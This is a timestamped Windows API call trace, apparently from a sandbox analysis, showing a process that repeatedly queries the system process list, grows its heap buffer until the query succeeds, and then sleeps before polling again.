	[0066.678] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0x152f4) returned 0x289b3a0
	[0066.678] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
	[0066.678] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0x16318) returned 0x289b3a0
	[0066.679] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
	[0066.679] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0x1733c) returned 0x289b3a0
	[0066.679] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
	[0066.679] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0x18360) returned 0x289b3a0
	[0066.679] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
	[0066.680] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0x19384) returned 0x289b3a0
	[0066.680] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
	[0066.680] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0x1a3a8) returned 0x289b3a0
	[0066.680] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
	[0066.681] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0x1b3cc) returned 0x289b3a0
	[0066.681] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
	[0066.681] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0x1c3f0) returned 0x289b3a0
	[0066.681] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
	[0066.682] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0x1d414) returned 0x289b3a0
	[0066.682] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x289b3a0, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x289b3a0, ResultLength=0x0) returned 0xc0000004
	[0066.697] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x289b3a0, Size=0x1e438) returned 0x28be678
	[0066.701] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.702] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x1f45c) returned 0x28be678
	[0066.702] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.702] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x20480) returned 0x28be678
	[0066.702] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.703] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x214a4) returned 0x28be678
	[0066.703] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.703] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x224c8) returned 0x28be678
	[0066.703] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.704] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x234ec) returned 0x28be678
	[0066.704] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.704] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x24510) returned 0x28be678
	[0066.704] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.705] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x25534) returned 0x28be678
	[0066.705] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0x0
	[0066.706] Sleep (dwMilliseconds=0x64) 
	[0066.824] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2885498, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x2885498, ResultLength=0x0) returned 0xc0000004
	[0066.827] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2885498, Size=0x2048) returned 0x2896c08
	[0066.827] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2896c08, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x2896c08, ResultLength=0x0) returned 0xc0000004
	[0066.827] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2896c08, Size=0x306c) returned 0x28a1c10
	[0066.827] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.828] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x4090) returned 0x28a1c10
	[0066.828] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.828] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x50b4) returned 0x28a1c10
	[0066.828] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.828] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x60d8) returned 0x28a1c10
	[0066.828] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.829] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x70fc) returned 0x28a1c10
	[0066.829] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.830] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x8120) returned 0x28a1c10
	[0066.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.830] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x9144) returned 0x28a1c10
	[0066.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.831] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0xa168) returned 0x28a1c10
	[0066.831] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.831] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0xb18c) returned 0x28a1c10
	[0066.831] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.832] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0xc1b0) returned 0x28a1c10
	[0066.832] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.832] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0xd1d4) returned 0x28a1c10
	[0066.832] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.833] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0xe1f8) returned 0x28a1c10
	[0066.833] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.833] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0xf21c) returned 0x28a1c10
	[0066.833] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.833] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x10240) returned 0x28a1c10
	[0066.834] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.834] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x11264) returned 0x28a1c10
	[0066.834] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.834] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x12288) returned 0x28a1c10
	[0066.834] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.835] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x132ac) returned 0x28a1c10
	[0066.835] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.835] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x142d0) returned 0x28a1c10
	[0066.835] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.836] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x152f4) returned 0x28a1c10
	[0066.836] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.836] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x16318) returned 0x28a1c10
	[0066.836] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.837] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x1733c) returned 0x28a1c10
	[0066.837] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.837] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x18360) returned 0x28be678
	[0066.843] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.843] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x19384) returned 0x28be678
	[0066.843] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.844] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x1a3a8) returned 0x28be678
	[0066.844] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.844] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x1b3cc) returned 0x28be678
	[0066.844] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.845] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x1c3f0) returned 0x28be678
	[0066.845] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.845] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x1d414) returned 0x28be678
	[0066.845] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.846] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x1e438) returned 0x28be678
	[0066.846] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.846] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x1f45c) returned 0x28be678
	[0066.846] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.847] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x20480) returned 0x28be678
	[0066.847] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.847] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x214a4) returned 0x28be678
	[0066.848] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.848] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x224c8) returned 0x28be678
	[0066.848] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.849] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x234ec) returned 0x28be678
	[0066.849] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.849] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x24510) returned 0x28be678
	[0066.849] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.850] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x25534) returned 0x28be678
	[0066.850] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0x0
	[0066.852] Sleep (dwMilliseconds=0x64) 
	[0066.982] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28898b8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x28898b8, ResultLength=0x0) returned 0xc0000004
	[0066.982] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28898b8, Size=0x2048) returned 0x2896c08
	[0066.983] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2896c08, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x2896c08, ResultLength=0x0) returned 0xc0000004
	[0066.983] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2896c08, Size=0x306c) returned 0x28a1c10
	[0066.984] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.984] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x4090) returned 0x28a1c10
	[0066.984] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.984] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x50b4) returned 0x28a1c10
	[0066.984] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.984] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x60d8) returned 0x28a1c10
	[0066.984] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.985] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x70fc) returned 0x28a1c10
	[0066.985] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.985] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x8120) returned 0x28a1c10
	[0066.985] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.985] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x9144) returned 0x28a1c10
	[0066.985] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.986] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0xa168) returned 0x28a1c10
	[0066.986] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.986] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0xb18c) returned 0x28a1c10
	[0066.986] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.986] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0xc1b0) returned 0x28a1c10
	[0066.986] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.987] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0xd1d4) returned 0x28a1c10
	[0066.987] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.987] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0xe1f8) returned 0x28a1c10
	[0066.987] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.988] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0xf21c) returned 0x28a1c10
	[0066.988] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.988] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x10240) returned 0x28a1c10
	[0066.988] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.988] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x11264) returned 0x28a1c10
	[0066.988] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.989] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x12288) returned 0x28a1c10
	[0066.989] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.989] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x132ac) returned 0x28a1c10
	[0066.989] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.990] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x142d0) returned 0x28a1c10
	[0066.990] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.990] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x152f4) returned 0x28a1c10
	[0066.990] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.990] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x16318) returned 0x28a1c10
	[0066.991] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.991] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x1733c) returned 0x28a1c10
	[0066.991] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0066.991] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x18360) returned 0x28be678
	[0066.993] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.994] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x19384) returned 0x28be678
	[0066.994] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.994] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x1a3a8) returned 0x28be678
	[0066.994] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.994] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x1b3cc) returned 0x28be678
	[0066.995] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.995] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x1c3f0) returned 0x28be678
	[0066.995] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.996] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x1d414) returned 0x28be678
	[0066.996] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.996] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x1e438) returned 0x28be678
	[0066.996] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.997] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x1f45c) returned 0x28be678
	[0066.997] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.997] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x20480) returned 0x28be678
	[0066.997] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.998] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x214a4) returned 0x28be678
	[0066.998] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
